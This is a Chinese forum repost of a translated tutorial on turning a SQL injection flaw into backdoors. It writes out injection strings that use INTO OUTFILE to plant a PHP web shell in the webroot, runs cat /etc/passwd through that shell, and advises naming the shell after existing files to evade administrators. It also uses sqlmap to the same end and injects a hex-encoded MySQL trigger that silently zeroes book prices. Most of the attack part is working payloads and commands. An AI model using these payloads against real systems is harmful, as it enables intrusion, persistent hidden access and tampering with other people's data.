设为首页 收藏本站
查看: 779|回复: 0

[经验分享] [译]使用sql创建后门

[复制链接]

尚未签到

发表于 2016-11-11 08:18:08 | 显示全部楼层 |阅读模式
原文地址:http://resources.infosecinstitute.com/backdoor-sql-injection/
在读本文之前应该参考http://resources.infosecinstitute.com/blind-sql-injection/
本文的目的是通过sql注入漏洞来执行任意命令。为了运行OS命令,我们需要有一个命令行shell(CMD),或者运行允许我们执行命令的代码。
一)获得一个OS shell
我们希望插入我们的PHP代码,所以我们可以允许shell命令。为了这么做,我们使用mysql提供的INTO OUTFILE特性。使用INTO OUTFILE,可以将查询的输出导入到操作系统上的一个文件中。所以记住,我们给定输入Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’#,字符串文本‘TEXT INTO FILE’将会存储在/tmp文件夹中的blah.txt文件中。
DSC0000.png
现在我们使用PHP代码来代替“TEXT INTO FILE”,这些PHP代码将会从url中读取一个参数,使用它作为输入然后在操作系统中运行命令。我们给定输入Harry Potter’ union select “<? system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’#
DSC0001.png
下一步,稍微改变一下查询语句‘ union select “<? system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# 并且重新运行:
DSC0002.png
看起来好多了,尽管我们仍然显示2,3
让我们访问execcmd.php页面并且传入我们想要执行的命令cat /etc/passwd
DSC0003.png
一些需要注意的地方:
1. 执行查询语句的数据库用户必须有写文件的权限,否则不能使用INTO OUTFILE命令
2. 在webroot中必须有一个MySql可以写入的文件夹;否则不能访问上传的shell。可以写到任何一个可写的文件夹,但是有可能没办法访问它

也可以使用sqlmap来实现
DSC0004.png
DSC0005.png
运行一个命令
DSC0006.png
值得注意的一点:当webshell创建后,在webroot中使用一个与已经存在的文件名相似的名字。这有可能帮助你躲开粗心的管理员。
下面的介绍sqlmap到底做了些什么,可以通过一个代理来运行sqlmap:
DSC0007.png
Forward一些请求,直到web shell上传到一个可写的文件夹,看看query语句。
DSC0008.png
看一下底部中蓝色高亮部分,事实证明sqlmap使用INTO OUTFILE命令
DSC0009.png
最后来看一下sqlmap上传的web shell。
DSC00010.png
二)一个数据库后门
既然我们知道如果应用程序含有SQL漏洞那么可以植入一个OS后门可以。现在我们看看如何在数据库中植入一个后门,我们需要了解一点关于后门运行的背景知识。在OS后门,我们直接访问后门并且传入要执行的命令,它更直观一些。每次insert操作发生时,我们配置的后门将会改变一些数据库中一些敏感数据的值。因此我们需要在数据库中含有trigger。它的基本意思是-当我们想让某事发生时,激发trigger,然后做另外一些事。这个很模糊,所以举一个例子。假如你是一个警察,当你看见一个连环杀手,你扣动扳机,然后发射子弹。所以对应于我们的例子,有一个insert(杀手)导致数据库的trigger被激发(扳机),然后你配置的动作(子弹)发生。
这是一个sql的trigger:
delimiter #
CREATE TRIGGER price BEFORE INSERT ON books
for each row begin
set new.price='0';
end;#
delimiter ;
这段代码的意思是:
1)设置sql的分隔符为#,这是因为默认的分隔符是;并且被认为是一个sql中的特殊字符。然而我们需要把它当作数据。所以我们需要改为#
2)当发生一个insert操作,例如增加一本新书,把它的价格设为0
3)结束trigger,并把分隔符设会;
trigger的代码需要运行,所以我们需要把代码放入服务器。
让我们首先使用sql注入漏洞来把trigger拷贝到server上。
Harry Potter’ AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE ‘/var/www/test/g2′ LINES TERMINATED BY 0x64656c696d6974657220230a4352454154452054524947474552207072696365204245464
f524520494e53455254204f4e20626f6f6b730a666f72206561636820726f7720626567696e0a7
36574206e65772e70726963653d2730273b0a656e643b230a64656c696d69746572203b#
它看似复杂,实际则不然。我们使用1=0因为我们对Harry Potter的查询结果不感兴趣。select 0x20仅仅是select三次空格;这样才能把我需要的东西写入到/var/www/test/g/2(避免语义错误)。LINES TERMINATED BY后面的bit是十六进制的所有trigger(使用burp decoder,不要手动来做)
DSC00011.png
运行命令,查看/var/www/test/g2文件
DSC00012.png
注意到开始时三个空格了吗,那是因为之前的select 0×20,0×20,0×20。
有三种办法可以激活trigger:
1)Stacked queries – Harry Potter’ UNION blah blah blah; source /var/www/test/g2
然而PHP-MySQL不支持这种工作方式
2)滥用MySql默认trigger行为
参考http://blog.mindedsecurity.com/2010/04/mysql-stacked-queries-with-sql.html
3)使用sqlmap之类的工具来运行/var/www/test/g2中的trigger
让我们来运行sqlmap,获得一个sql shell来运行trigger
DSC00013.png

最后一行,只有当支持 stacked query时才能使用这种方法。这意味着1,3是一种情况。让我们通过sqlmap proxy来确认。
在sql-shell中create database boo;来创建一个新的table,然后查看burp:
DSC00014.png
正如我们所见,它试图解释成select语句,这个是不争取的,Burp的应答为证
DSC00015.png
另一种方法包含如下步骤:
1. 获取一个合法用户的密码,例如root和test123
2. 注入一个OS web shell后门
3. 注入trigger到另一个文件
4. 通过webshell用mysql命令行运行和安装trigger

下图显示当前数据库没有trigger
假如现在我获得user/password为root/toor,现在我们访问web shell,传递如下命令
mysql -u<USERNAME> -p<PASSWORD> <DB NAME> < /var/www/test/g2
DSC00016.png
再次检查数据库
DSC00017.png
我们的trigger出现了
运行一个inster操作来检查我们的trigger是否工作
DSC00018.png
运行query
DSC00019.png
看最后一行,我们的trigger执行了。

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-298639-1-1.html 上篇帖子: BitNami-Redmine1.1.0安装和VisualSVN-Server配合使用 下篇帖子: 关于SQL联表查询
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表